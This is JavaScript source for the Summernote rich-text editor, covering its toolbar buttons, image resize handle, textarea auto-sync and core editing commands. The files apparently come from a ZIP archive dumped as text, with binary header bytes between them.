                  eventName: $holder.data('event'),
                  container: this.options.container,
                  tooltip: this.options.tooltip
                }).render());
              });
            },
            click: (event) => {
              const $button = $(event.target);
              const eventName = $button.data('event');
              const value = $button.data('value');

              if (eventName && value) {
                const key = eventName === 'backColor' ? 'background-color' : 'color';
                const $color = $button.closest('.note-color').find('.note-recent-color');
                const $currentButton = $button.closest('.note-color').find('.note-current-color-button');

                $color.css(key, value);
                $currentButton.attr('data-' + eventName, value);
                this.context.invoke('editor.' + eventName, value);
              }
            }
          })
        ]
      }).render();
    });

    this.context.memo('button.ul', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.unorderedlist),
        tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'),
        click: this.context.createInvokeHandler('editor.insertUnorderedList')
      }).render();
    });

    this.context.memo('button.ol', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.orderedlist),
        tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'),
        click: this.context.createInvokeHandler('editor.insertOrderedList')
      }).render();
    });

    const justifyLeft = this.button({
      contents: this.ui.icon(this.options.icons.alignLeft),
      tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),
      click: this.context.createInvokeHandler('editor.justifyLeft')
    });

    const justifyCenter = this.button({
      contents: this.ui.icon(this.options.icons.alignCenter),
      tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),
      click: this.context.createInvokeHandler('editor.justifyCenter')
    });

    const justifyRight = this.button({
      contents: this.ui.icon(this.options.icons.alignRight),
      tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),
      click: this.context.createInvokeHandler('editor.justifyRight')
    });

    const justifyFull = this.button({
      contents: this.ui.icon(this.options.icons.alignJustify),
      tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),
      click: this.context.createInvokeHandler('editor.justifyFull')
    });

    const outdent = this.button({
      contents: this.ui.icon(this.options.icons.outdent),
      tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),
      click: this.context.createInvokeHandler('editor.outdent')
    });

    const indent = this.button({
      contents: this.ui.icon(this.options.icons.indent),
      tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),
      click: this.context.createInvokeHandler('editor.indent')
    });

    this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));
    this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));
    this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));
    this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));
    this.context.memo('button.outdent', func.invoke(outdent, 'render'));
    this.context.memo('button.indent', func.invoke(indent, 'render'));

    this.context.memo('button.paragraph', () => {
      return this.ui.buttonGroup([
        this.button({
          className: 'dropdown-toggle',
          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options),
          tooltip: this.lang.paragraph.paragraph,
          data: {
            toggle: 'dropdown'
          }
        }),
        this.ui.dropdown([
          this.ui.buttonGroup({
            className: 'note-align',
            children: [justifyLeft, justifyCenter, justifyRight, justifyFull]
          }),
          this.ui.buttonGroup({
            className: 'note-list',
            children: [outdent, indent]
          })
        ])
      ]).render();
    });

    this.context.memo('button.height', () => {
      return this.ui.buttonGroup([
        this.button({
          className: 'dropdown-toggle',
          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options),
          tooltip: this.lang.font.height,
          data: {
            toggle: 'dropdown'
          }
        }),
        this.ui.dropdownCheck({
          items: this.options.lineHeights,
          checkClassName: this.options.icons.menuCheck,
          className: 'dropdown-line-height',
          title: this.lang.font.height,
          click: this.context.createInvokeHandler('editor.lineHeight')
        })
      ]).render();
    });

    this.context.memo('button.table', () => {
      return this.ui.buttonGroup([
        this.button({
          className: 'dropdown-toggle',
          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options),
          tooltip: this.lang.table.table,
          data: {
            toggle: 'dropdown'
          }
        }),
        this.ui.dropdown({
          title: this.lang.table.table,
          className: 'note-table',
          items: [
            '<div class="note-dimension-picker">',
            '  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',
            '  <div class="note-dimension-picker-highlighted"/>',
            '  <div class="note-dimension-picker-unhighlighted"/>',
            '</div>',
            '<div class="note-dimension-display">1 x 1</div>'
          ].join('')
        })
      ], {
        callback: ($node) => {
          const $catcher = $node.find('.note-dimension-picker-mousecatcher');
          $catcher.css({
            width: this.options.insertTableMaxSize.col + 'em',
            height: this.options.insertTableMaxSize.row + 'em'
          }).mousedown(this.context.createInvokeHandler('editor.insertTable'))
            .on('mousemove', this.tableMoveHandler.bind(this));
        }
      }).render();
    });

    this.context.memo('button.link', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.link),
        tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'),
        click: this.context.createInvokeHandler('linkDialog.show')
      }).render();
    });

    this.context.memo('button.picture', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.picture),
        tooltip: this.lang.image.image,
        click: this.context.createInvokeHandler('imageDialog.show')
      }).render();
    });

    this.context.memo('button.video', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.video),
        tooltip: this.lang.video.video,
        click: this.context.createInvokeHandler('videoDialog.show')
      }).render();
    });

    this.context.memo('button.hr', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.minus),
        tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'),
        click: this.context.createInvokeHandler('editor.insertHorizontalRule')
      }).render();
    });

    this.context.memo('button.fullscreen', () => {
      return this.button({
        className: 'btn-fullscreen',
        contents: this.ui.icon(this.options.icons.arrowsAlt),
        tooltip: this.lang.options.fullscreen,
        click: this.context.createInvokeHandler('fullscreen.toggle')
      }).render();
    });

    this.context.memo('button.codeview', () => {
      return this.button({
        className: 'btn-codeview',
        contents: this.ui.icon(this.options.icons.code),
        tooltip: this.lang.options.codeview,
        click: this.context.createInvokeHandler('codeview.toggle')
      }).render();
    });

    this.context.memo('button.redo', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.redo),
        tooltip: this.lang.history.redo + this.representShortcut('redo'),
        click: this.context.createInvokeHandler('editor.redo')
      }).render();
    });

    this.context.memo('button.undo', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.undo),
        tooltip: this.lang.history.undo + this.representShortcut('undo'),
        click: this.context.createInvokeHandler('editor.undo')
      }).render();
    });

    this.context.memo('button.help', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.question),
        tooltip: this.lang.options.help,
        click: this.context.createInvokeHandler('helpDialog.show')
      }).render();
    });
  }

  /**
   * image : [
   *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
   *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],
   *   ['remove', ['removeMedia']]
   * ],
   */
  addImagePopoverButtons() {
    // Image Size Buttons
    this.context.memo('button.imageSize100', () => {
      return this.button({
        contents: '<span class="note-fontsize-10">100%</span>',
        tooltip: this.lang.image.resizeFull,
        click: this.context.createInvokeHandler('editor.resize', '1')
      }).render();
    });
    this.context.memo('button.imageSize50', () => {
      return this.button({
        contents: '<span class="note-fontsize-10">50%</span>',
        tooltip: this.lang.image.resizeHalf,
        click: this.context.createInvokeHandler('editor.resize', '0.5')
      }).render();
    });
    this.context.memo('button.imageSize25', () => {
      return this.button({
        contents: '<span class="note-fontsize-10">25%</span>',
        tooltip: this.lang.image.resizeQuarter,
        click: this.context.createInvokeHandler('editor.resize', '0.25')
      }).render();
    });

    // Float Buttons
    this.context.memo('button.floatLeft', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.alignLeft),
        tooltip: this.lang.image.floatLeft,
        click: this.context.createInvokeHandler('editor.floatMe', 'left')
      }).render();
    });

    this.context.memo('button.floatRight', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.alignRight),
        tooltip: this.lang.image.floatRight,
        click: this.context.createInvokeHandler('editor.floatMe', 'right')
      }).render();
    });

    this.context.memo('button.floatNone', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.alignJustify),
        tooltip: this.lang.image.floatNone,
        click: this.context.createInvokeHandler('editor.floatMe', 'none')
      }).render();
    });

    // Remove Buttons
    this.context.memo('button.removeMedia', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.trash),
        tooltip: this.lang.image.remove,
        click: this.context.createInvokeHandler('editor.removeMedia')
      }).render();
    });
  }

  addLinkPopoverButtons() {
    this.context.memo('button.linkDialogShow', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.link),
        tooltip: this.lang.link.edit,
        click: this.context.createInvokeHandler('linkDialog.show')
      }).render();
    });

    this.context.memo('button.unlink', () => {
      return this.button({
        contents: this.ui.icon(this.options.icons.unlink),
        tooltip: this.lang.link.unlink,
        click: this.context.createInvokeHandler('editor.unlink')
      }).render();
    });
  }

  /**
   * table : [
   *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
   *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
   * ],
   */
  addTablePopoverButtons() {
    this.context.memo('button.addRowUp', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.rowAbove),
        tooltip: this.lang.table.addRowAbove,
        click: this.context.createInvokeHandler('editor.addRow', 'top')
      }).render();
    });
    this.context.memo('button.addRowDown', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.rowBelow),
        tooltip: this.lang.table.addRowBelow,
        click: this.context.createInvokeHandler('editor.addRow', 'bottom')
      }).render();
    });
    this.context.memo('button.addColLeft', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.colBefore),
        tooltip: this.lang.table.addColLeft,
        click: this.context.createInvokeHandler('editor.addCol', 'left')
      }).render();
    });
    this.context.memo('button.addColRight', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.colAfter),
        tooltip: this.lang.table.addColRight,
        click: this.context.createInvokeHandler('editor.addCol', 'right')
      }).render();
    });
    this.context.memo('button.deleteRow', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.rowRemove),
        tooltip: this.lang.table.delRow,
        click: this.context.createInvokeHandler('editor.deleteRow')
      }).render();
    });
    this.context.memo('button.deleteCol', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.colRemove),
        tooltip: this.lang.table.delCol,
        click: this.context.createInvokeHandler('editor.deleteCol')
      }).render();
    });
    this.context.memo('button.deleteTable', () => {
      return this.button({
        className: 'btn-md',
        contents: this.ui.icon(this.options.icons.trash),
        tooltip: this.lang.table.delTable,
        click: this.context.createInvokeHandler('editor.deleteTable')
      }).render();
    });
  }

  build($container, groups) {
    for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {
      const group = groups[groupIdx];
      const groupName = $.isArray(group) ? group[0] : group;
      const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];

      const $group = this.ui.buttonGroup({
        className: 'note-' + groupName
      }).render();

      for (let idx = 0, len = buttons.length; idx < len; idx++) {
        const btn = this.context.memo('button.' + buttons[idx]);
        if (btn) {
          $group.append(typeof btn === 'function' ? btn(this.context) : btn);
        }
      }
      $group.appendTo($container);
    }
  }

  /**
   * @param {jQuery} [$container]
   */
  updateCurrentStyle($container) {
    const $cont = $container || this.$toolbar;

    const styleInfo = this.context.invoke('editor.currentStyle');
    this.updateBtnStates($cont, {
      '.note-btn-bold': () => {
        return styleInfo['font-bold'] === 'bold';
      },
      '.note-btn-italic': () => {
        return styleInfo['font-italic'] === 'italic';
      },
      '.note-btn-underline': () => {
        return styleInfo['font-underline'] === 'underline';
      },
      '.note-btn-subscript': () => {
        return styleInfo['font-subscript'] === 'subscript';
      },
      '.note-btn-superscript': () => {
        return styleInfo['font-superscript'] === 'superscript';
      },
      '.note-btn-strikethrough': () => {
        return styleInfo['font-strikethrough'] === 'strikethrough';
      }
    });

    if (styleInfo['font-family']) {
      const fontNames = styleInfo['font-family'].split(',').map((name) => {
        return name.replace(/[\'\"]/g, '')
          .replace(/\s+$/, '')
          .replace(/^\s+/, '');
      });
      const fontName = lists.find(fontNames, this.isFontInstalled.bind(this));

      $cont.find('.dropdown-fontname a').each((idx, item) => {
        const $item = $(item);
        // always compare string to avoid creating another func.
        const isChecked = ($item.data('value') + '') === (fontName + '');
        $item.toggleClass('checked', isChecked);
      });
      $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName);
    }

    if (styleInfo['font-size']) {
      const fontSize = styleInfo['font-size'];
      $cont.find('.dropdown-fontsize a').each((idx, item) => {
        const $item = $(item);
        // always compare with string to avoid creating another func.
        const isChecked = ($item.data('value') + '') === (fontSize + '');
        $item.toggleClass('checked', isChecked);
      });
      $cont.find('.note-current-fontsize').text(fontSize);
    }

    if (styleInfo['line-height']) {
      const lineHeight = styleInfo['line-height'];
      $cont.find('.dropdown-line-height li a').each((idx, item) => {
        // always compare with string to avoid creating another func.
        const isChecked = ($(item).data('value') + '') === (lineHeight + '');
        this.className = isChecked ? 'checked' : '';
      });
    }
  }

  updateBtnStates($container, infos) {
    $.each(infos, (selector, pred) => {
      this.ui.toggleBtnActive($container.find(selector), pred());
    });
  }

  tableMoveHandler(event) {
    const PX_PER_EM = 18;
    const $picker = $(event.target.parentNode); // target is mousecatcher
    const $dimensionDisplay = $picker.next();
    const $catcher = $picker.find('.note-dimension-picker-mousecatcher');
    const $highlighted = $picker.find('.note-dimension-picker-highlighted');
    const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');

    let posOffset;
    // HTML5 with jQuery - e.offsetX is undefined in Firefox
    if (event.offsetX === undefined) {
      const posCatcher = $(event.target).offset();
      posOffset = {
        x: event.pageX - posCatcher.left,
        y: event.pageY - posCatcher.top
      };
    } else {
      posOffset = {
        x: event.offsetX,
        y: event.offsetY
      };
    }

    const dim = {
      c: Math.ceil(posOffset.x / PX_PER_EM) || 1,
      r: Math.ceil(posOffset.y / PX_PER_EM) || 1
    };

    $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });
    $catcher.data('value', dim.c + 'x' + dim.r);

    if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {
      $unhighlighted.css({ width: dim.c + 1 + 'em' });
    }

    if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {
      $unhighlighted.css({ height: dim.r + 1 + 'em' });
    }

    $dimensionDisplay.html(dim.c + ' x ' + dim.r);
  }
}
PK�{�\ >Wwwjs/base/module/AutoSync.jsnu�[���import dom from '../core/dom';

/**
 * textarea auto sync.
 */
export default class AutoSync {
  constructor(context) {
    this.$note = context.layoutInfo.note;
    this.events = {
      'summernote.change': () => {
        this.$note.val(context.invoke('code'));
      }
    };
  }

  shouldInitialize() {
    return dom.isTextarea(this.$note[0]);
  }
}
PK�{�\m��h��js/base/module/Handle.jsnu�[���import $ from 'jquery';
import dom from '../core/dom';

export default class Handle {
  constructor(context) {
    this.context = context;
    this.$document = $(document);
    this.$editingArea = context.layoutInfo.editingArea;
    this.options = context.options;
    this.lang = this.options.langInfo;

    this.events = {
      'summernote.mousedown': (we, e) => {
        if (this.update(e.target)) {
          e.preventDefault();
        }
      },
      'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => {
        this.update();
      },
      'summernote.disable': () => {
        this.hide();
      },
      'summernote.codeview.toggled': () => {
        this.update();
      }
    };
  }

  initialize() {
    this.$handle = $([
      '<div class="note-handle">',
      '<div class="note-control-selection">',
      '<div class="note-control-selection-bg"></div>',
      '<div class="note-control-holder note-control-nw"></div>',
      '<div class="note-control-holder note-control-ne"></div>',
      '<div class="note-control-holder note-control-sw"></div>',
      '<div class="',
      (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),
      ' note-control-se"></div>',
      (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'),
      '</div>',
      '</div>'
    ].join('')).prependTo(this.$editingArea);

    this.$handle.on('mousedown', (event) => {
      if (dom.isControlSizing(event.target)) {
        event.preventDefault();
        event.stopPropagation();

        const $target = this.$handle.find('.note-control-selection').data('target');
        const posStart = $target.offset();
        const scrollTop = this.$document.scrollTop();

        const onMouseMove = (event) => {
          this.context.invoke('editor.resizeTo', {
            x: event.clientX - posStart.left,
            y: event.clientY - (posStart.top - scrollTop)
          }, $target, !event.shiftKey);

          this.update($target[0]);
        };

        this.$document
          .on('mousemove', onMouseMove)
          .one('mouseup', (e) => {
            e.preventDefault();
            this.$document.off('mousemove', onMouseMove);
            this.context.invoke('editor.afterCommand');
          });

        if (!$target.data('ratio')) { // original ratio.
          $target.data('ratio', $target.height() / $target.width());
        }
      }
    });

    // Listen for scrolling on the handle overlay.
    this.$handle.on('wheel', (e) => {
      e.preventDefault();
      this.update();
    });
  }

  destroy() {
    this.$handle.remove();
  }

  update(target) {
    if (this.context.isDisabled()) {
      return false;
    }

    const isImage = dom.isImg(target);
    const $selection = this.$handle.find('.note-control-selection');

    this.context.invoke('imagePopover.update', target);

    if (isImage) {
      const $image = $(target);
      const position = $image.position();
      const pos = {
        left: position.left + parseInt($image.css('marginLeft'), 10),
        top: position.top + parseInt($image.css('marginTop'), 10)
      };

      // exclude margin
      const imageSize = {
        w: $image.outerWidth(false),
        h: $image.outerHeight(false)
      };

      $selection.css({
        display: 'block',
        left: pos.left,
        top: pos.top,
        width: imageSize.w,
        height: imageSize.h
      }).data('target', $image); // save current image element.

      const origImageObj = new Image();
      origImageObj.src = $image.attr('src');

      const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';
      $selection.find('.note-control-selection-info').text(sizingText);
      this.context.invoke('editor.saveTarget', target);
    } else {
      this.hide();
    }

    return isImage;
  }

  /**
   * hide
   *
   * @param {jQuery} $handle
   */
  hide() {
    this.context.invoke('editor.clearTarget');
    this.$handle.children().hide();
  }
}
PK�{�\ye��q[q[js/base/module/Editor.jsnu�[���import $ from 'jquery';
import env from '../core/env';
import key from '../core/key';
import func from '../core/func';
import lists from '../core/lists';
import dom from '../core/dom';
import range from '../core/range';
import { readFileAsDataURL, createImage } from '../core/async';
import History from '../editing/History';
import Style from '../editing/Style';
import Typing from '../editing/Typing';
import Table from '../editing/Table';
import Bullet from '../editing/Bullet';

const KEY_BOGUS = 'bogus';

/**
 * @class Editor
 */
export default class Editor {
  constructor(context) {
    this.context = context;

    this.$note = context.layoutInfo.note;
    this.$editor = context.layoutInfo.editor;
    this.$editable = context.layoutInfo.editable;
    this.options = context.options;
    this.lang = this.options.langInfo;

    this.editable = this.$editable[0];
    this.lastRange = null;

    this.style = new Style();
    this.table = new Table();
    this.typing = new Typing();
    this.bullet = new Bullet();
    this.history = new History(this.$editable);

    this.context.memo('help.undo', this.lang.help.undo);
    this.context.memo('help.redo', this.lang.help.redo);
    this.context.memo('help.tab', this.lang.help.tab);
    this.context.memo('help.untab', this.lang.help.untab);
    this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);
    this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);
    this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);
    this.context.memo('help.indent', this.lang.help.indent);
    this.context.memo('help.outdent', this.lang.help.outdent);
    this.context.memo('help.formatPara', this.lang.help.formatPara);
    this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);
    this.context.memo('help.fontName', this.lang.help.fontName);

    // native commands(with execCommand), generate function for execCommand
    const commands = [
      'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',
      'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',
      'formatBlock', 'removeFormat', 'backColor'
    ];

    for (let idx = 0, len = commands.length; idx < len; idx++) {
      this[commands[idx]] = ((sCmd) => {
        return (value) => {
          this.beforeCommand();
          document.execCommand(sCmd, false, value);
          this.afterCommand(true);
        };
      })(commands[idx]);
      this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);
    }

    this.fontName = this.wrapCommand((value) => {
      return this.fontStyling('font-family', "\'" + value + "\'");
    });

    this.fontSize = this.wrapCommand((value) => {
      return this.fontStyling('font-size', value + 'px');
    });

    for (let idx = 1; idx <= 6; idx++) {
      this['formatH' + idx] = ((idx) => {
        return () => {
          this.formatBlock('H' + idx);
        };
      })(idx);
      this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);
    };

    this.insertParagraph = this.wrapCommand(() => {
      this.typing.insertParagraph(this.editable);
    });

    this.insertOrderedList = this.wrapCommand(() => {
      this.bullet.insertOrderedList(this.editable);
    });

    this.insertUnorderedList = this.wrapCommand(() => {
      this.bullet.insertUnorderedList(this.editable);
    });

    this.indent = this.wrapCommand(() => {
      this.bullet.indent(this.editable);
    });

    this.outdent = this.wrapCommand(() => {
      this.bullet.outdent(this.editable);
    });

    /**
     * insertNode
     * insert node
     * @param {Node} node
     */
    this.insertNode = this.wrapCommand((node) => {
      if (this.isLimited($(node).text().length)) {
        return;
      }
      const rng = this.createRange();
      rng.insertNode(node);
      range.createFromNodeAfter(node).select();
    });

    /**
     * insert text
     * @param {String} text
     */
    this.insertText = this.wrapCommand((text) => {
      if (this.isLimited(text.length)) {
        return;
      }
      const rng = this.createRange();
      const textNode = rng.insertNode(dom.createText(text));
      range.create(textNode, dom.nodeLength(textNode)).select();
    });
    /**
     * paste HTML
     * @param {String} markup
     */
    this.pasteHTML = this.wrapCommand((markup) => {
      if (this.isLimited(markup.length)) {
        return;
      }
      const contents = this.createRange().pasteHTML(markup);
      range.createFromNodeAfter(lists.last(contents)).select();
    });

    /**
     * formatBlock
     *
     * @param {String} tagName
     */
    this.formatBlock = this.wrapCommand((tagName, $target) => {
      const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle;
      if (onApplyCustomStyle) {
        onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock);
      } else {
        this.onFormatBlock(tagName, $target);
      }
    });

    /**
     * insert horizontal rule
     */
    this.insertHorizontalRule = this.wrapCommand(() => {
      const hrNode = this.createRange().insertNode(dom.create('HR'));
      if (hrNode.nextSibling) {
        range.create(hrNode.nextSibling, 0).normalize().select();
      }
    });

    /**
     * lineHeight
     * @param {String} value
     */
    this.lineHeight = this.wrapCommand((value) => {
      this.style.stylePara(this.createRange(), {
        lineHeight: value
      });
    });

    /**
     * create link (command)
     *
     * @param {Object} linkInfo
     */
    this.createLink = this.wrapCommand((linkInfo) => {
      let linkUrl = linkInfo.url;
      const linkText = linkInfo.text;
      const isNewWindow = linkInfo.isNewWindow;
      let rng = linkInfo.range || this.createRange();
      const isTextChanged = rng.toString() !== linkText;

      // handle spaced urls from input
      if (typeof linkUrl === 'string') {
        linkUrl = linkUrl.trim();
      }

      if (this.options.onCreateLink) {
        linkUrl = this.options.onCreateLink(linkUrl);
      } else {
        // if url doesn't match an URL schema, set http:// as default
        linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl)
          ? linkUrl : 'http://' + linkUrl;
      }

      let anchors = [];
      if (isTextChanged) {
        rng = rng.deleteContents();
        const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]);
        anchors.push(anchor);
      } else {
        anchors = this.style.styleNodes(rng, {
          nodeName: 'A',
          expandClosestSibling: true,
          onlyPartialContains: true
        });
      }

      $.each(anchors, (idx, anchor) => {
        $(anchor).attr('href', linkUrl);
        if (isNewWindow) {
          $(anchor).attr('target', '_blank');
        } else {
          $(anchor).removeAttr('target');
        }
      });

      const startRange = range.createFromNodeBefore(lists.head(anchors));
      const startPoint = startRange.getStartPoint();
      const endRange = range.createFromNodeAfter(lists.last(anchors));
      const endPoint = endRange.getEndPoint();

      range.create(
        startPoint.node,
        startPoint.offset,
        endPoint.node,
        endPoint.offset
      ).select();
    });

    /**
     * setting color
     *
     * @param {Object} sObjColor  color code
     * @param {String} sObjColor.foreColor foreground color
     * @param {String} sObjColor.backColor background color
     */
    this.color = this.wrapCommand((colorInfo) => {
      const foreColor = colorInfo.foreColor;
      const backColor = colorInfo.backColor;

      if (foreColor) { document.execCommand('foreColor', false, foreColor); }
      if (backColor) { document.execCommand('backColor', false, backColor); }
    });

    /**
     * Set foreground color
     *
     * @param {String} colorCode foreground color code
     */
    this.foreColor = this.wrapCommand((colorInfo) => {
      document.execCommand('styleWithCSS', false, true);
      document.execCommand('foreColor', false, colorInfo);
    });

    /**
     * insert Table
     *
     * @param {String} dimension of table (ex : "5x5")
     */
    this.insertTable = this.wrapCommand((dim) => {
      const dimension = dim.split('x');

      const rng = this.createRange().deleteContents();
      rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options));
    });

    /**
     * remove media object and Figure Elements if media object is img with Figure.
     */
    this.removeMedia = this.wrapCommand(() => {
      let $target = $(this.restoreTarget()).parent();
      if ($target.parent('figure').length) {
        $target.parent('figure').remove();
      } else {
        $target = $(this.restoreTarget()).detach();
      }
      this.context.triggerEvent('media.delete', $target, this.$editable);
    });

    /**
     * float me
     *
     * @param {String} value
     */
    this.floatMe = this.wrapCommand((value) => {
      const $target = $(this.restoreTarget());
      $target.toggleClass('note-float-left', value === 'left');
      $target.toggleClass('note-float-right', value === 'right');
      $target.css('float', value);
    });

    /**
     * resize overlay element
     * @param {String} value
     */
    this.resize = this.wrapCommand((value) => {
      const $target = $(this.restoreTarget());
      $target.css({
        width: value * 100 + '%',
        height: ''
      });
    });
  }

  initialize() {
    // bind custom events
    this.$editable.on('keydown', (event) => {
      if (event.keyCode === key.code.ENTER) {
        this.context.triggerEvent('enter', event);
      }
      this.context.triggerEvent('keydown', event);

      if (!event.isDefaultPrevented()) {
        if (this.options.shortcuts) {
          this.handleKeyMap(event);
        } else {
          this.preventDefaultEditableShortCuts(event);
        }
      }
      if (this.isLimited(1, event)) {
        return false;
      }
    }).on('keyup', (event) => {
      this.context.triggerEvent('keyup', event);
    }).on('focus', (event) => {
      this.context.triggerEvent('focus', event);
    }).on('blur', (event) => {
      this.context.triggerEvent('blur', event);
    }).on('mousedown', (event) => {
      this.context.triggerEvent('mousedown', event);
    }).on('mouseup', (event) => {
      this.context.triggerEvent('mouseup', event);
    }).on('scroll', (event) => {
      this.context.triggerEvent('scroll', event);
    }).on('paste', (event) => {
      this.context.triggerEvent('paste', event);
    });

    // init content before set event
    this.$editable.html(dom.html(this.$note) || dom.emptyPara);

    this.$editable.on(env.inputEventName, func.debounce(() => {
      this.context.triggerEvent('change', this.$editable.html());
    }, 100));

    this.$editor.on('focusin', (event) => {
      this.context.triggerEvent('focusin', event);
    }).on('focusout', (event) => {
      this.context.triggerEvent('focusout', event);
    });

    if (!this.options.airMode) {
      if (this.options.width) {
        this.$editor.outerWidth(this.options.width);
      }
      if (this.options.height) {
        this.$editable.outerHeight(this.options.height);
      }
      if (this.options.maxHeight) {
        this.$editable.css('max-height', this.options.maxHeight);
      }
      if (this.options.minHeight) {
        this.$editable.css('min-height', this.options.minHeight);
      }
    }

    this.history.recordUndo();
  }

  destroy() {
    this.$editable.off();
  }

  handleKeyMap(event) {
    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
    const keys = [];

    if (event.metaKey) { keys.push('CMD'); }
    if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); }
    if (event.shiftKey) { keys.push('SHIFT'); }

    const keyName = key.nameFromCode[event.keyCode];
    if (keyName) {
      keys.push(keyName);
    }

    const eventName = keyMap[keys.join('+')];
    if (eventName) {
      if (this.context.invoke(eventName) !== false) {
        event.preventDefault();
      }
    } else if (key.isEdit(event.keyCode)) {
      this.afterCommand();
    }
  }

  preventDefaultEditableShortCuts(event) {
    // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)
    if ((event.ctrlKey || event.metaKey) &&
      lists.contains([66, 73, 85], event.keyCode)) {
      event.preventDefault();
    }
  }

  isLimited(pad, event) {
    pad = pad || 0;

    if (typeof event !== 'undefined') {
      if (key.isMove(event.keyCode) ||
          (event.ctrlKey || event.metaKey) ||
          lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {
        return false;
      }
    }

    if (this.options.maxTextLength > 0) {
      if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {
        return true;
      }
    }
    return false;
  }
  /**
   * create range
   * @return {WrappedRange}
   */
  createRange() {
    this.focus();
    return range.create(this.editable);
  }

  /**
   * saveRange
   *
   * save current range
   *
   * @param {Boolean} [thenCollapse=false]
   */
  saveRange(thenCollapse) {
    this.lastRange = this.createRange();
    if (thenCollapse) {
      this.lastRange.collapse().select();
    }
  }

  /**
   * restoreRange
   *
   * restore lately range
   */
  restoreRange() {
    if (this.lastRange) {
      this.lastRange.select();
      this.focus();
    }
  }

  saveTarget(node) {
    this.$editable.data('target', node);
  }

  clearTarget() {
    this.$editable.removeData('target');
  }

  restoreTarget() {
    return this.$editable.data('target');
  }

  /**
   * currentStyle
   *
   * current style
   * @return {Object|Boolean} unfocus
   */
  currentStyle() {
    let rng = range.create();
    if (rng) {
      rng = rng.normalize();
    }
    return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);
  }

  /**
   * style from node
   *
   * @param {jQuery} $node
   * @return {Object}
   */
  styleFromNode($node) {
    return this.style.fromNode($node);
  }

  /**
   * undo
   */
  undo() {
    this.context.triggerEvent('before.command', this.$editable.html());
    this.history.undo();
    this.context.triggerEvent('change', this.$editable.html());
  }

  /**
   * redo
   */
  redo() {
    this.context.triggerEvent('before.command', this.$editable.html());
    this.history.redo();
    this.context.triggerEvent('change', this.$editable.html());
  }

  /**
   * before command
   */
  beforeCommand() {
    this.context.triggerEvent('before.command', this.$editable.html());
    // keep focus on editable before command execution
    this.focus();
  }

  /**
   * after command
   * @param {Boolean} isPreventTrigger
   */
